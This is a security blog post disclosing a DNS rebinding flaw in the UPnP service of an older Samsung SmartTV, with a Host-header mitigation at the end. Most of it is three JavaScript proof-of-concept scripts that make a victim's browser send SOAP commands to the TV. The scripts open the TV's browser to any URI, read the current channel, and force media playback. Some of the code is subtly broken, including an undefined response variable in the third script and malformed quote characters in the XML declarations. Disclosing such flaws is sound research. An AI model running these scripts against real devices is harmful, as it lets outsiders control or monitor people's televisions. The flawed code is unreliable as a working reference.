/dev/posts/

DNS rebinding vulnerability in Samsung SmartTV UPnP

Published:

Updated:

I found a DNS rebinding vulnerability on the Universal Plug-and-Play (UPnP) interface of the Samsung TV UE40F6320 (v1.0), from 2011. This could be used, for example, to change the channel, to know which channel is currently used or open the builtin browser to any URI.

Finding

The Samsung SmartTV UE40F6320 is vulnerable to DNS rebinding attacks with latests firmware. An malicious web server can trick a browser inside the network into making UPnP requests on the Samsung SmartTV.

This could be used for example to:

This is mitigated by an IP-address based Access Control List (ACL) in the Samsung SmartTV. The first time a given IP address tries to make a UPnP request, the TV asks whether this IP address should be allowed to make UPnP requests.

This vulnerability has apparently been fixed in more recent models but this model is too old so the fix won't be backported.

Exploits

Exploiting RunBrowser

With the RunBrowser method, the attacker can open an embedded-browser to a given URI:

function sleep(delay)
{
  return new Promise((resolve, reject) => {
    setTimeout(resolve, delay);
  });
}
async function main()
{
  while(true) {
    const response = await fetch("/smp_4_", {
          method: "POST",
          headers: {
            "Content-Type": "text/xml; charset=utf-8",
            "SOAPAction": '"urn:samsung.com:service:MainTVAgent2:1#RunBrowser"',
          },
          body: `<?xml version="1.0″ encoding="utf-8″?>
          <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
            <s:Body>
              <u:RunBrowser xmlns:u="urn:samsung.com:service:MainTVAgent2:1">
                <BrowserURL>https://www.youtube.com/watch?v=dQw4w9WgXcQ</BrowserURL>
             </u:RunBrowser>
            </s:Body>
          </s:Envelope>`
        });
    if (response.status == 200) {
      alert("Done")
      return;
    }
    await sleep(1000);
  }
}
main()

Exploiting GetCurrentMainTVChannel

With the GetCurrentMainTVChannel method, the attacker can poll to known which channel is being watched:

function sleep(delay)
{
  return new Promise((resolve, reject) => {
    setTimeout(resolve, delay);
  });
}
async function main()
{
  while(true) {
    const response = await fetch("//192.168.1.18:7676/smp_4_", {
      method: "POST",
      headers: {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": '"urn:samsung.com:service:MainTVAgent2:1#GetCurrentMainTVChannel"',
      },
      body: `<?xml version="1.0″ encoding="utf-8″?>
      <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
        <s:Body>
          <u:GetCurrentMainTVChannel xmlns:u="urn:samsung.com:service:MainTVAgent2:1">
        </u:GetCurrentMainTVChannel>
        </s:Body>
      </s:Envelope>`
    });
    if (response.status == 200) {
      alert("Done")
      return;
    }
    await sleep(1000);
  }
}
main()

SOAP Response:

<?xml version="1.0" encoding="utf-8"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetCurrentMainTVChannelResponse xmlns:u="urn:samsung.com:service:MainTVAgent2:1"><Result>OK</Result><CurrentChannel>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt;&lt;Channel&gt;&lt;ChType&gt;DTV&lt;/ChType&gt;&lt;MajorCh&gt;2&lt;/MajorCh&gt;&lt;MinorCh&gt;65534&lt;/MinorCh&gt;&lt;PTC&gt;30&lt;/PTC&gt;&lt;ProgNum&gt;257&lt;/ProgNum&gt;&lt;/Channel&gt;</CurrentChannel></u:GetCurrentMainTVChannelResponse>
</s:Body>
</s:Envelope>

The <MainChannel> content can be decoded as:

<?xml version="1.0" encoding="UTF-8" ?>
<Channel>
  <ChType>DTV</ChType>
  <MajorCh>2</MajorCh>
  <MinorCh>65534</MinorCh>
  <PTC>30</PTC>
  <ProgNum>257</ProgNum>
</Channel>

Exploiting SetAVTransportURI

With the SetAVTransportURI method, the attacker can force the display of a media (given by a URI). This is however apparently limited to media on the LAN.

const XML_CHAR_MAP = {
	'<': '&lt;',
	'>': '&gt;',
	'&': '&amp;',
	'"': '&quot;',
	"'": '&apos;'
};

function escapeXml (s) {
	return s.replace(/[<>&"']/g, function (ch) {
		return XML_CHAR_MAP[ch];
	});
}
const uri = 'http://192.168.1.16:9999/big-buck-bunny_trailer.webm'

metadata = `<?xml version="1.0"?>
<DIDL-Lite xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sec="http://www.sec.co.kr/">
<item id="f-0" parentID="0" restricted="0">
    <dc:title>Video</dc:title>
    <dc:creator>Anonymous</dc:creator>
    <upnp:class>object.item.videoItem</upnp:class>
    <res >${escapeXml(uri)}</res>
</item>
</DIDL-Lite>`;

function sleep(delay)
{
  return new Promise((resolve, reject) => {
    setTimeout(resolve, delay);
  });
}
async function main()
{
  while(true) {
    await fetch("/smp_22_", {
      method: "POST",
      headers: {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": '"urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"',
      },
      body: `<?xml version="1.0″ encoding="utf-8″?>
      <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
        <s:Body>
          <u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
            <InstanceID>0</InstanceID>
            <CurrentURI>${escapeXml(uri)}</CurrentURI>
            <CurrentURIMetaData>${escapeXml(metadata)}</CurrentURIMetaData>
         </u:SetAVTransportURI>
        </s:Body>
      </s:Envelope>`
    });
    await fetch("//192.168.1.18:7676/smp_22_", {
      method: "POST",
      headers: {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": '"urn:schemas-upnp-org:service:AVTransport:1#Play"',
      },
      body: `<?xml version="1.0″ encoding="utf-8″?>
      <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
        <s:Body>
          <u:Play xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
            <InstanceID>0</InstanceID>
            <Speed>1</Speed>
            </u:Play>
        </s:Body>
      </s:Envelope>`
    });
    if (response.status == 200) {
      alert("Done")
      return;
    }
    await sleep(1000);
  }
}
main()

Mitigation

This DNS-rebinding attack could be blocked by validating the Host header: for UPnP requests, the Host header should always use an IP address and not a domain name.

Timeline

References